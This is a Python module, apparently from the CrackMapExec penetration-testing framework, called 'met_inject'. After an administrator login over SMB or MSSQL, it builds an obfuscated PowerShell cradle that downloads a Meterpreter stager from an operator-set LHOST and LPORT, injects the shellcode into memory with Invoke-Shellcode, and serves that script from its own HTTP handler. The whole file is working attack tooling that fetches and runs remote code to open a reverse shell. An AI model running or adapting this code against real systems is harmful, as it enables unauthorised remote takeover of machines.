76 lines
3.0 KiB
Python
76 lines
3.0 KiB
Python
from cme.helpers.powershell import *
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from sys import exit
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class CMEModule:
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'''
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Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
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Module by @byt3bl33d3r
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'''
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name = 'met_inject'
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description = "Downloads the Meterpreter stager and injects it into memory"
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supported_protocols = ['smb', 'mssql']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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LHOST IP hosting the handler
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LPORT Handler port
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PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
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PROCID Process ID to inject into (default: current powershell process)
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'''
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self.met_payload = 'reverse_https'
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self.procid = None
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if not 'LHOST' in module_options or not 'LPORT' in module_options:
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context.log.error('LHOST and LPORT options are required!')
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exit(1)
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if 'PAYLOAD' in module_options:
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self.met_payload = module_options['PAYLOAD']
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if 'PROCID' in module_options:
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self.procid = module_options['PROCID']
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self.lhost = module_options['LHOST']
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self.lport = module_options['LPORT']
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self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
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def on_admin_login(self, context, connection):
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#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
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#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
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payload = """$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
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$SumTest = $False
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while ($SumTest -eq $False)
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{{
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$GeneratedUri = $CharArray | Get-Random -Count 4
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$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
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}}
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$RequestUri = -join $GeneratedUri
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$Request = "{}://{}:{}/$($RequestUri)"
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$WebClient = New-Object System.Net.WebClient
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[Byte[]]$bytes = $WebClient.DownloadData($Request)
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Invoke-Shellcode -Force -Shellcode $bytes""".format('http' if self.met_payload == 'reverse_http' else 'https',
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self.lhost,
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self.lport)
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if self.procid:
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payload += " -ProcessID {}".format(self.procid)
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launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False)
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ps_command = create_ps_command(launcher, force_ps32=True)
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connection.execute(ps_command)
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context.log.success('Executed payload')
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def on_request(self, context, request):
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if 'Invoke-Shellcode.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script)
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request.stop_tracking_host()
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else:
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request.send_response(404)
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request.end_headers() |